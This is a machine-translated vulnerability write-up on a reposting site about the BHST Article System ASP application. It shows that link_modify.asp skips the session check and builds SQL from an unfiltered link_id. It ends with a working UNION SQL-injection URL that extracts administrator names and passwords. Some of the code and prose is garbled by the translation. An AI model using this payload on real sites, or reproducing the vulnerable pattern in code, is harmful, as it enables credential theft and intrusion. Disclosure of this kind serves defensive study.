BHST Article System Vulnerability

Source: Internet
Author: User

Blog: http://www.jshell.cn published in chicken hair IT tide community http://www.jbmao.com

First, let's talk about the wrong sequence of the author's code in the program.

<! -- # Include file = "../conn. asp" -->
<%
If session ("adminuser") = "" then
Response. Redirect ("login. asp ")
End if
%>
<% @ LANGUAGE = "VBSCRIPT" CODEPAGE = "936" %>
<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<Html xmlns = "http://www.w3.org/1999/xhtml">

<% @ LANGUAGE = "VBSCRIPT" CODEPAGE = "936" %>

In this case, the program uses the default vbscript

Don't use this sentence, and it can only be placed at the top of the Code.

The vulnerability is found in the file system, file system, and login/link_modify.asp.

Session verification is not followed here:

<%
Linkid = request ("link_id ")
If linkid <> "then
Set linkrs = server. CreateObject ("adodb. recordset ")
Sqllink = "select * from fis_links where link_id =" & linkid
Linkrs. open sqllink, conn, 1, 3
%>

Typically, the number of link IDs in the table cannot be injected. A total of six fields are displayed on the page.

The rs output of the field content. Therefore, we use the Combined Query to directly crack the problem.

Http: // 127.0.0.1/Sox/login/link_modify.asp? Link_id = 8% 20and % 201 = 2% 20 union % 20 select % 201, admin_name, admin_pass, 6%, 20 from % 20fis_admin

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.